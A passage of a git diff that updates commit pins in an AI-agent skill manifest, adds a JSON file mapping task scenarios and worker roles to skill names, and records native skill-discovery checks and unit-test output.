"bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/theme-factory", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/theme-factory", "tree_sha": "8942a4f915c681dbc62047d4bfa11f998738ecb0", "skill_md_sha256": "c35893e221e28895c52143cc11bf30e41a44817796b39d4b15727dadc9796552", @@ -2656,13 +2656,13 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Handles document or research-report artifacts through the format-specific upstream workflow. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/theme-factory/SKILL.md:1" + "merit_note": "Handles document or research-report artifacts through the format-specific upstream workflow. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/theme-factory/SKILL.md:1" }, { "name": "ticket-to-code-change", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/ticket-to-code-change", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/ticket-to-code-change", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/ticket-to-code-change", "tree_sha": "062c50c64ebe0b86de3adda752208dd8b3539d49", "skill_md_sha256": "1d063f120e1238dadea3b1a59531373e249b815b772e1970e99fa0fea3cffcc2", @@ -2677,13 +2677,13 @@ "orchestration" ], "status": "trial", - "merit_note": "Provides issue intake, implementation or dispatch procedures tied to observable repository state. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/ticket-to-code-change/SKILL.md:1" + "merit_note": "Provides issue intake, implementation or dispatch procedures tied to observable repository state. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/ticket-to-code-change/SKILL.md:1" }, { "name": "to-java-migration", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/plugins/cobol-modernization/skills/to-java-migration", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/plugins/cobol-modernization/skills/to-java-migration", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "plugins/cobol-modernization/skills/to-java-migration", "tree_sha": "e5bc7457ba29e05f0abdedb957f6121dd15e795e", "skill_md_sha256": "59e8581f49351e9fa6e89ae76faa8a3c59bc014797f26cfa54769de4cd4c1970", @@ -2699,7 +2699,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Covers specialized language migrations with test fixtures and explicit transformation steps. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 plugins/cobol-modernization/skills/to-java-migration/SKILL.md:1" + "merit_note": "Covers specialized language migrations with test fixtures and explicit transformation steps. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b plugins/cobol-modernization/skills/to-java-migration/SKILL.md:1" }, { "name": "to-spec", @@ -2771,8 +2771,8 @@ { "name": "upstream-fork-sync", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/upstream-fork-sync", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/upstream-fork-sync", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/upstream-fork-sync", "tree_sha": "2dbfcf26ede4df1236f2d5882defc39b639d2574", "skill_md_sha256": "c53faa66ce41f0846116b4463313e4a985024eccd6e6ec6d0603a869aee0186d", @@ -2788,7 +2788,7 @@ "orchestration" ], "status": "trial", - "merit_note": "Covers source-control state, conflicts and integration steps through native git/GitHub operations. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/upstream-fork-sync/SKILL.md:1" + "merit_note": "Covers source-control state, conflicts and integration steps through native git/GitHub operations. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/upstream-fork-sync/SKILL.md:1" }, { "name": "using-git-worktrees", @@ -2835,8 +2835,8 @@ { "name": "uv", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/uv", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/uv", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/uv", "tree_sha": "35be5b0352ad8f5cba3b92b3fbb6162b260e9a24", "skill_md_sha256": "e321822ec05752b5fd8b967f6bec30f0e9fd5d7d042aaf5a5d7002829d788315", @@ -2852,7 +2852,7 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Provides native environment, package or deployment procedures; actual deployment credentials and runtime acceptance remain separate. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/uv/SKILL.md:1" + "merit_note": "Provides native environment, package or deployment procedures; actual deployment credentials and runtime acceptance remain separate. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/uv/SKILL.md:1" }, { "name": "variant-analysis", @@ -2879,8 +2879,8 @@ { "name": "vercel", "source": "OpenHands/extensions", - "url": "https://github.com/OpenHands/extensions/tree/bea7a20c59c44ec4dacddac3fc0efe58b9c73880/skills/vercel", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "url": "https://github.com/OpenHands/extensions/tree/9495f4c59dd5fea2cee9e87ab37a6abda649627b/skills/vercel", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/vercel", "tree_sha": "a1a03f2db71aea8b1a1f8cedea6cfd57963de76b", "skill_md_sha256": "4060634017206b72caca6ad05195cd015a5309569d336cbc5b04dab263769b12", @@ -2896,7 +2896,7 @@ "extraction-caller" ], "status": "trial", - "merit_note": "Provides native environment, package or deployment procedures; actual deployment credentials and runtime acceptance remain separate. Source: OpenHands/extensions@bea7a20c59c44ec4dacddac3fc0efe58b9c73880 skills/vercel/SKILL.md:1" + "merit_note": "Provides native environment, package or deployment procedures; actual deployment credentials and runtime acceptance remain separate. Source: OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/vercel/SKILL.md:1" }, { "name": "vercel-composition-patterns", @@ -3859,7 +3859,7 @@ "name": "code-review", "selected": { "source": "OpenHands/extensions", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/code-review" }, "alternatives": [ @@ -3875,7 +3875,7 @@ "name": "linear", "selected": { "source": "OpenHands/extensions", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/linear" }, "alternatives": [ @@ -3891,7 +3891,7 @@ "name": "release-notes", "selected": { "source": "OpenHands/extensions", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/release-notes" }, "alternatives": [ @@ -3907,7 +3907,7 @@ "name": "theme-factory", "selected": { "source": "OpenHands/extensions", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", "path": "skills/theme-factory" }, "alternatives": [ @@ -4489,11 +4489,29 @@ "sources": [ { "source": "OpenHands/extensions", - "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", - "resolved_via": "gh api repos/OpenHands/extensions/commits/bea7a20c59c44ec4dacddac3fc0efe58b9c73880", - "commit_date": "2026-09-27T12:29:58Z", + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "resolved_via": "gh api repos/OpenHands/extensions/commits/9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "commit_date": "2026-09-30T02:54:34Z", "selected_skills": 77, - "tree_response_truncated": false + "tree_response_truncated": false, + "selected_refs": [ + { + "ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "selected_skills": 73, + "basis": "Unchanged native git folder tree and actual SKILL.md bytes; source discovery passed." + }, + { + "ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "selected_skills": 4, + "names": [ + "canvas-extension-api", + "github", + "github-pr-reviewer", + "github-stale-ci-pr-closer" + ], + "basis": "Retained because current upstream changed body or executable resources; not qualified by discovery alone." + } + ] }, { "source": "affaan-m/ECC", @@ -4599,5 +4617,13 @@ "provider_input_tokens_before": null, "provider_input_tokens_after": null, "meaning": "Catalog byte/character sums only, not first-prompt tokens. Measure native requests as specified in README." + }, + "source_refresh": { + "record": "blueprints/runtime-workers/skills/refresh-20260930.json", + "freshness_report": "blueprints/runtime-workers/skills/freshness-20260930.json", + "before_report": "blueprints/runtime-workers/skills/freshness-20260930-before.json", + "scope": "Source identity, body/tree equality and isolated native SDK discovery; no installation or invocation acceptance.", + "openhands_inventory_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "task_profiles": "blueprints/runtime-workers/skills/profiles.json" } } diff --git a/blueprints/runtime-workers/skills/profiles.json b/blueprints/runtime-workers/skills/profiles.json new file mode 100644 index 000000000..3f728ae91 --- /dev/null +++ b/blueprints/runtime-workers/skills/profiles.json @@ -0,0 +1,732 @@ +{ + "schema_version": 1, + "kind": "runtime_worker_task_skill_profiles", + "checked_at": "2026-09-30", + "scope": "project", + "status": "trial_metadata", + "roster_manifest": "blueprints/runtime-workers/skills/manifest.json", + "default_effect": "None. This file is selection metadata, not a native runtime configuration or installation command.", + "selection": "Select the current task scenario and caller role. The names below are their intersection in the existing roster; eligibility is not observed activation.", + "installation": "Use tools/adoption/install_skills.py with an owned --project-dir and explicit native target/skill names. Do not install the complete catalog by default.", + "native_openhands": { + "version": "1.50.0", + "ref": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "runtime_profiles": "blueprints/runtime-workers/openhands/config/profiles.json", + "discovery": "openhands-sdk/openhands/sdk/skills/skill.py:1049-1142 load_project_skills", + "metadata_prompt": "openhands-sdk/openhands/sdk/skills/skill.py:1453-1533 to_prompt", + "body_loading": "openhands-sdk/openhands/sdk/tool/builtins/invoke_skill.py:90-124 InvokeSkillExecutor", + "description": "Native AgentSkills listings expose selected names/descriptions; invoke_skill renders the selected body. No replacement loader or dispatcher is supplied.", + "project_instruction_boundary": "load_project_skills also discovers project/Git-root third-party instructions. Use an owned worker project outside the stack checkout.", + "qualification": "Isolated source-discovery fixture passed for the 77 OpenHands entries; model invocation and provider usage remain uncollected." + }, + "environment_boundaries": [ + { + "names": [ + "agent-canvas-environment", + "canvas-extension-api" + ], + "requires": "An explicitly selected Agent Canvas environment or Canvas extension task.", + "source": "OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/agent-canvas-environment/SKILL.md; skills/canvas-extension-api/SKILL.md" + }, + { + "names": [ + "openhands-api", + "openhands-automation" + ], + "requires": "The task explicitly selects the documented Cloud/automation API or the separately checked agent-server API path.", + "source": "OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/openhands-api/SKILL.md; skills/openhands-automation/SKILL.md" + }, + { + "names": [ + "github", + "github-pr-reviewer", + "github-stale-ci-pr-closer" + ], + "requires": "The added profile-backed automation resources are not local SDK/server dispatch qualification. These changed trees retain the earlier pin.", + "source": "OpenHands/extensions@9495f4c59dd5fea2cee9e87ab37a6abda649627b skills/github/scripts/agent_conversation.py:1-119" + } + ], + "task_profiles": [ + { + "scenario": "planning-and-specs", + "roles": { + "coding": [ + "add-javadoc", + "agent-canvas-environment", + "agent-creator", + "agent-readiness-report", + "agent-sdk-builder", + "azure-devops", + "bitbucket", + "bitbucket-cloud", + "bitbucket-data-center", + "brainstorming", + "build-setup", + "canvas-extension-api", + "cobol-modernization", + "codebase-design", + "dispatching-parallel-agents", + "domain-modeling", + "executing-plans", + "frontend-design", + "gitlab", + "gitlab-issue-to-mr", + "grill-me", + "improve-agent-readiness", + "improve-codebase-architecture", + "linear", + "linear-triage", + "mainframe-planning", + "mainframe-removal", + "mcp-builder", + "openhands-api", + "openhands-automation", + "openhands-sdk", + "prd", + "setup-agents-md", + "spark-version-upgrade", + "subagent-driven-development", + "to-java-migration", + "to-spec", + "to-tickets", + "using-git-worktrees", + "using-superpowers", + "vercel-composition-patterns", + "writing-for-agents", + "writing-plans" + ], + "orchestration": [ + "add-javadoc", + "agent-canvas-environment", + "agent-creator", + "agent-readiness-report", + "agent-sdk-builder", + "azure-devops", + "bitbucket", + "bitbucket-cloud", + "bitbucket-data-center", + "brainstorming", + "build-setup", + "canvas-extension-api", + "cobol-modernization", + "codebase-design", + "dispatching-parallel-agents", + "domain-modeling", + "executing-plans", + "gitlab", + "gitlab-issue-to-mr", + "grill-me", + "improve-agent-readiness", + "improve-codebase-architecture", + "linear", + "linear-triage", + "mainframe-planning", + "mainframe-removal", + "mcp-builder", + "openhands-api", + "openhands-automation", + "openhands-sdk", + "prd", + "setup-agents-md", + "spark-version-upgrade", + "subagent-driven-development", + "to-java-migration", + "to-spec", + "to-tickets", + "using-git-worktrees", + "using-superpowers", + "writing-for-agents", + "writing-plans" + ], + "research": [ + "brainstorming", + "domain-modeling", + "grill-me", + "prd", + "to-spec", + "writing-plans" + ], + "extraction-caller": [ + "brainstorming", + "codebase-design", + "domain-modeling", + "grill-me", + "improve-codebase-architecture", + "prd", + "to-spec", + "writing-plans" + ] + } + }, + { + "scenario": "tdd", + "roles": { + "coding": [ + "build-setup", + "cobol-modernization", + "mainframe-planning", + "mainframe-removal", + "property-based-testing", + "spark-version-upgrade", + "tdd", + "test-driven-development", + "to-java-migration" + ], + "orchestration": [ + "build-setup", + "cobol-modernization", + "mainframe-planning", + "mainframe-removal", + "property-based-testing", + "spark-version-upgrade", + "tdd", + "test-driven-development", + "to-java-migration" + ], + "research": [], + "extraction-caller": [ + "property-based-testing", + "tdd", + "test-driven-development" + ] + } + }, + { + "scenario": "e2e-testing", + "roles": { + "coding": [ + "agent-browser", + "playwright", + "qa-changes", + "webapp-testing" + ], + "orchestration": [ + "agent-browser", + "playwright", + "qa-changes", + "webapp-testing" + ], + "research": [], + "extraction-caller": [ + "agent-browser", + "playwright", + "qa-changes", + "webapp-testing" + ] + } + }, + { + "scenario": "ab-testing-and-evaluation", + "roles": { + "coding": [ + "diagnosing-superpowers", + "jupyter", + "jupyter-notebook", + "migration-mapping", + "migration-report", + "migration-scoring", + "property-based-testing", + "score-quality", + "score-style", + "skill-creator", + "typesafe-ai", + "vercel-optimize", + "writing-skills" + ], + "orchestration": [ + "diagnosing-superpowers", + "migration-mapping", + "migration-report", + "migration-scoring", + "property-based-testing", + "score-quality", + "score-style", + "skill-creator", + "typesafe-ai", + "vercel-optimize", + "writing-skills" + ], + "research": [ + "jupyter", + "jupyter-notebook", + "skill-creator", + "writing-skills" + ], + "extraction-caller": [ + "jupyter", + "jupyter-notebook", + "property-based-testing", + "skill-creator", + "typesafe-ai", + "writing-skills" + ] + } + }, + { + "scenario": "debugging", + "roles": { + "coding": [ + "datadog", + "diagnosing-bugs", + "diagnosing-superpowers", + "openhands-enterprise-troubleshooting", + "systematic-debugging" + ], + "orchestration": [ + "datadog", + "diagnosing-bugs", + "diagnosing-superpowers", + "openhands-enterprise-troubleshooting", + "systematic-debugging" + ], + "research": [ + "diagnosing-bugs", + "systematic-debugging" + ], + "extraction-caller": [ + "diagnosing-bugs", + "systematic-debugging" + ] + } + }, + { + "scenario": "code-review", + "roles": { + "coding": [ + "code-review", + "code-simplifier", + "codebase-design", + "frontend-design", + "gh-address-comments", + "improve-codebase-architecture", + "migration-mapping", + "migration-report", + "migration-scoring", + "receiving-code-review", + "requesting-code-review", + "score-quality", + "score-style", + "vercel-composition-patterns", + "vercel-react-best-practices", + "web-design-guidelines" + ], + "orchestration": [ + "code-review", + "code-simplifier", + "codebase-design", + "gh-address-comments", + "improve-codebase-architecture", + "migration-mapping", + "migration-report", + "migration-scoring", + "receiving-code-review", + "requesting-code-review", + "score-quality", + "score-style", + "vercel-react-best-practices", + "web-design-guidelines" + ], + "research": [], + "extraction-caller": [ + "codebase-design", + "improve-codebase-architecture" + ] + } + }, + { + "scenario": "security", + "roles": { + "coding": [ + "agentic-actions-auditor", + "codeql", + "fp-check", + "sarif-parsing", + "security", + "security-best-practices", + "security-threat-model", + "semgrep", + "supply-chain-risk-auditor", + "variant-analysis" + ], + "orchestration": [ + "agentic-actions-auditor", + "codeql", + "fp-check", + "sarif-parsing", + "security", + "security-best-practices", + "security-threat-model", + "semgrep", + "supply-chain-risk-auditor", + "variant-analysis" + ], + "research": [], + "extraction-caller": [ + "security", + "security-best-practices", + "security-threat-model" + ] + } + }, + { + "scenario": "github-issue-to-pr", + "roles": { + "coding": [ + "finishing-a-development-branch", + "github", + "github-issue-to-pr", + "github-issue-triage", + "github-repo-monitor", + "jira-issue-to-pr", + "resolving-merge-conflicts", + "ticket-to-code-change", + "upstream-fork-sync" + ], + "orchestration": [ + "finishing-a-development-branch", + "github", + "github-issue-to-pr", + "github-issue-triage", + "github-repo-monitor", + "jira-issue-to-pr", + "resolving-merge-conflicts", + "ticket-to-code-change", + "upstream-fork-sync" + ], + "research": [], + "extraction-caller": [] + } + }, + { + "scenario": "github-pr-review", + "roles": { + "coding": [ + "code-review", + "code-simplifier", + "finishing-a-development-branch", + "gh-address-comments", + "github", + "github-delivery-watchdog", + "github-pr-review", + "github-pr-reviewer", + "receiving-code-review", + "requesting-code-review", + "resolving-merge-conflicts", + "setup-pr-review", + "upstream-fork-sync" + ], + "orchestration": [ + "code-review", + "code-simplifier", + "finishing-a-development-branch", + "gh-address-comments", + "github", + "github-delivery-watchdog", + "github-pr-review", + "github-pr-reviewer", + "receiving-code-review", + "requesting-code-review", + "resolving-merge-conflicts", + "setup-pr-review", + "upstream-fork-sync" + ], + "research": [], + "extraction-caller": [] + } + }, + { + "scenario": "github-ci-fix", + "roles": { + "coding": [ + "gh-fix-ci", + "github-stale-ci-pr-closer", + "iterate" + ], + "orchestration": [ + "gh-fix-ci", + "github-stale-ci-pr-closer", + "iterate" + ], + "research": [], + "extraction-caller": [] + } + }, + { + "scenario": "github-actions", + "roles": { + "coding": [ + "agentic-actions-auditor", + "github-actions", + "setup-openhands" + ], + "orchestration": [ + "agentic-actions-auditor", + "github-actions", + "setup-openhands" + ], + "research": [], + "extraction-caller": [] + } + }, + { + "scenario": "release-notes", + "roles": { + "coding": [ + "release-notes" + ], + "orchestration": [ + "release-notes" + ], + "research": [], + "extraction-caller": [] + } + }, + { + "scenario": "docs-and-citations", + "roles": { + "coding": [ + "add-javadoc", + "agent-memory", + "agent-readiness-report", + "doc-coauthoring", + "docx", + "evidence-based-citations", + "find-skills", + "github-agents-md-maintainer", + "handoff", + "improve-agent-readiness", + "iterative-retrieval", + "learn-from-code-review", + "mcp-builder", + "pdf", + "pdflatex", + "plain-english-content", + "pptx", + "release-notes", + "research", + "search-first", + "setup-agents-md", + "technical-writing", + "theme-factory", + "writing-for-agents", + "writing-skills", + "xlsx" + ], + "orchestration": [ + "add-javadoc", + "agent-memory", + "agent-readiness-report", + "discord", + "doc-coauthoring", + "docx", + "evidence-based-citations", + "find-skills", + "github-agents-md-maintainer", + "gpt-researcher", + "handoff", + "improve-agent-readiness", + "incident-retrospective", + "iterative-retrieval", + "learn-from-code-review", + "mcp-builder", + "notion", + "pdf", + "pdflatex", + "plain-english-content", + "pptx", + "release-notes", + "research", + "research-brief", + "search-first", + "setup-agents-md", + "slack-channel-monitor", + "slack-standup-digest", + "technical-writing", + "theme-factory", + "writing-for-agents", + "writing-skills", + "xlsx" + ], + "research": [ + "agent-memory", + "discord", + "doc-coauthoring", + "docx", + "evidence-based-citations", + "find-skills", + "github-agents-md-maintainer", + "gpt-researcher", + "handoff", + "incident-retrospective", + "iterative-retrieval", + "learn-from-code-review", + "notion", + "pdf", + "pdflatex", + "plain-english-content", + "pptx", + "research", + "research-brief", + "search-first", + "slack-channel-monitor", + "slack-standup-digest", + "technical-writing", + "theme-factory", + "writing-skills", + "xlsx" + ], + "extraction-caller": [ + "agent-memory", + "doc-coauthoring", + "docx", + "evidence-based-citations", + "find-skills", + "github-agents-md-maintainer", + "gpt-researcher", + "handoff", + "iterative-retrieval", + "learn-from-code-review", + "pdf", + "pdflatex", + "plain-english-content", + "pptx", + "research", + "research-brief", + "search-first", + "technical-writing", + "theme-factory", + "writing-skills", + "xlsx" + ] + } + }, + { + "scenario": "research", + "roles": { + "coding": [ + "find-skills", + "iterative-retrieval", + "jupyter", + "jupyter-notebook", + "research", + "search-first" + ], + "orchestration": [ + "find-skills", + "gpt-researcher", + "iterative-retrieval", + "news-digest", + "research", + "research-brief", + "search-first" + ], + "research": [ + "find-skills", + "gpt-researcher", + "iterative-retrieval", + "jupyter", + "jupyter-notebook", + "news-digest", + "research", + "research-brief", + "search-first" + ], + "extraction-caller": [ + "find-skills", + "gpt-researcher", + "iterative-retrieval", + "jupyter", + "jupyter-notebook", + "news-digest", + "research", + "research-brief", + "search-first" + ] + } + }, + { + "scenario": "deployment-uv-docker", + "roles": { + "coding": [ + "agent-canvas-environment", + "canvas-extension-api", + "deno", + "docker", + "kubernetes", + "modern-python", + "npm", + "ssh", + "swift-linux", + "uv", + "vercel", + "vercel-optimize" + ], + "orchestration": [ + "agent-canvas-environment", + "canvas-extension-api", + "deno", + "docker", + "kubernetes", + "modern-python", + "npm", + "ssh", + "swift-linux", + "uv", + "vercel", + "vercel-optimize" + ], + "research": [], + "extraction-caller": [ + "deno", + "docker", + "kubernetes", + "modern-python", + "npm", + "ssh", + "swift-linux", + "uv", + "vercel" + ] + } + }, + { + "scenario": "memory", + "roles": { + "coding": [ + "agent-memory", + "github-agents-md-maintainer", + "handoff", + "learn-from-code-review" + ], + "orchestration": [ + "agent-memory", + "discord", + "github-agents-md-maintainer", + "handoff", + "incident-retrospective", + "learn-from-code-review", + "notion", + "slack-channel-monitor", + "slack-standup-digest" + ], + "research": [ + "agent-memory", + "discord", + "github-agents-md-maintainer", + "handoff", + "incident-retrospective", + "learn-from-code-review", + "notion", + "slack-channel-monitor", + "slack-standup-digest" + ], + "extraction-caller": [ + "agent-memory", + "github-agents-md-maintainer", + "handoff", + "learn-from-code-review" + ] + } + } + ] +} diff --git a/blueprints/runtime-workers/skills/refresh-20260930-native-discovery-negative.txt b/blueprints/runtime-workers/skills/refresh-20260930-native-discovery-negative.txt new file mode 100644 index 000000000..562d18519 --- /dev/null +++ b/blueprints/runtime-workers/skills/refresh-20260930-native-discovery-negative.txt @@ -0,0 +1,2 @@ +control: native project loader returned 0 skills +qualification rejected: expected 77 skills, discovered 0 diff --git a/blueprints/runtime-workers/skills/refresh-20260930-native-discovery.txt b/blueprints/runtime-workers/skills/refresh-20260930-native-discovery.txt new file mode 100644 index 000000000..cd6536592 --- /dev/null +++ b/blueprints/runtime-workers/skills/refresh-20260930-native-discovery.txt @@ -0,0 +1,4 @@ +control: native project loader returned 0 skills +selected: native project loader returned 77 expected skills +prompt: names/descriptions only; no location or full skill bodies +provider request and native invoke_skill were not executed diff --git a/blueprints/runtime-workers/skills/refresh-20260930-tests-first.txt b/blueprints/runtime-workers/skills/refresh-20260930-tests-first.txt new file mode 100644 index 000000000..c586e0582 --- /dev/null +++ b/blueprints/runtime-workers/skills/refresh-20260930-tests-first.txt @@ -0,0 +1,40 @@ +test_cli_version_and_ref_come_from_the_manifest_pin (tests.test_runtime_worker_skills.FreshnessComparisonTests.test_cli_version_and_ref_come_from_the_manifest_pin) ... ok +test_fetch_failure_stays_unknown_not_current (tests.test_runtime_worker_skills.FreshnessComparisonTests.test_fetch_failure_stays_unknown_not_current) ... ok +test_head_movement_is_distinct_from_skill_change_and_native_check (tests.test_runtime_worker_skills.FreshnessComparisonTests.test_head_movement_is_distinct_from_skill_change_and_native_check) ... ok +test_truncated_tree_is_rejected (tests.test_runtime_worker_skills.FreshnessComparisonTests.test_truncated_tree_is_rejected) ... ok +test_budget_is_catalog_metadata_and_native_tokens_remain_unknown (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_budget_is_catalog_metadata_and_native_tokens_remain_unknown) ... ok +test_contract_rejects_a_future_main_skill_in_neither_set (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_contract_rejects_a_future_main_skill_in_neither_set) ... ok +test_contract_rejects_double_claims_restated_gates_and_bare_exclusions (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_contract_rejects_double_claims_restated_gates_and_bare_exclusions) ... ok +test_contract_survives_main_reordering_its_skills (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_contract_survives_main_reordering_its_skills) ... ok +test_every_adoption_skill_is_reused_or_explicitly_excluded (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_every_adoption_skill_is_reused_or_explicitly_excluded) ... ok +test_every_scenario_role_cell_has_real_skills_or_explicit_gap (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_every_scenario_role_cell_has_real_skills_or_explicit_gap) ... ok +test_freshness_workflow_is_report_only_and_actions_are_sha_pinned (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_freshness_workflow_is_report_only_and_actions_are_sha_pinned) ... ok +test_no_duplicate_names_and_each_role_has_skills (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_no_duplicate_names_and_each_role_has_skills) ... ok +test_openhands_inventory_has_a_decision_for_every_skill (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_openhands_inventory_has_a_decision_for_every_skill) ... ok +test_print_codex_config_disables_every_reused_skill_main_disables (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_print_codex_config_disables_every_reused_skill_main_disables) ... ok +test_prune_contract_records_claude_listing_budget_and_unknown_visibility (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_prune_contract_records_claude_listing_budget_and_unknown_visibility) ... ok +test_readme_matrix_matches_manifest_including_empty_cells (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_readme_matrix_matches_manifest_including_empty_cells) ... ok +test_schema_and_pins_are_well_formed (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_schema_and_pins_are_well_formed) ... ok +test_security_audit_exclusion_follows_mains_gate_until_main_promotes_it (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_security_audit_exclusion_follows_mains_gate_until_main_promotes_it) ... ok +test_source_counts_match_the_selected_skills_and_the_research_table (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_source_counts_match_the_selected_skills_and_the_research_table) ... ok +test_superpowers_lifecycle_and_collisions_are_explicit (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_superpowers_lifecycle_and_collisions_are_explicit) ... FAIL +test_verification_before_completion_stays_excluded_until_main_readmits_it (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_verification_before_completion_stays_excluded_until_main_readmits_it) ... ok +test_worker_installation_uses_extended_installer_without_hand_copy (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_worker_installation_uses_extended_installer_without_hand_copy) ... ok + +====================================================================== +FAIL: test_superpowers_lifecycle_and_collisions_are_explicit (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_superpowers_lifecycle_and_collisions_are_explicit) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tests/test_runtime_worker_skills.py", line 244, in test_superpowers_lifecycle_and_collisions_are_explicit + self.assertEqual(collision["selected"], {key: winner[key] for key in ("source", "ref", "path")}) + ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +AssertionError: {'sou[33 chars]f': 'bea7a20c59c44ec4dacddac3fc0efe58b9c73880'[26 chars]iew'} != {'sou[33 chars]f': '9495f4c59dd5fea2cee9e87ab37a6abda649627b'[26 chars]iew'} + {'path': 'skills/code-review', +- 'ref': 'bea7a20c59c44ec4dacddac3fc0efe58b9c73880', ++ 'ref': '9495f4c59dd5fea2cee9e87ab37a6abda649627b', + 'source': 'OpenHands/extensions'} + +---------------------------------------------------------------------- +Ran 22 tests in 0.078s + +FAILED (failures=1) diff --git a/blueprints/runtime-workers/skills/refresh-20260930-tests.txt b/blueprints/runtime-workers/skills/refresh-20260930-tests.txt new file mode 100644 index 000000000..28ba04dc8 --- /dev/null +++ b/blueprints/runtime-workers/skills/refresh-20260930-tests.txt @@ -0,0 +1,27 @@ +test_cli_version_and_ref_come_from_the_manifest_pin (tests.test_runtime_worker_skills.FreshnessComparisonTests.test_cli_version_and_ref_come_from_the_manifest_pin) ... ok +test_fetch_failure_stays_unknown_not_current (tests.test_runtime_worker_skills.FreshnessComparisonTests.test_fetch_failure_stays_unknown_not_current) ... ok +test_head_movement_is_distinct_from_skill_change_and_native_check (tests.test_runtime_worker_skills.FreshnessComparisonTests.test_head_movement_is_distinct_from_skill_change_and_native_check) ... ok +test_truncated_tree_is_rejected (tests.test_runtime_worker_skills.FreshnessComparisonTests.test_truncated_tree_is_rejected) ... ok +test_budget_is_catalog_metadata_and_native_tokens_remain_unknown (tests.test_runtime_worker_skills.RuntimeWorkerManifestTests.test_budget_is_catalog_metadata_and_native_tokens_remain_unknown) 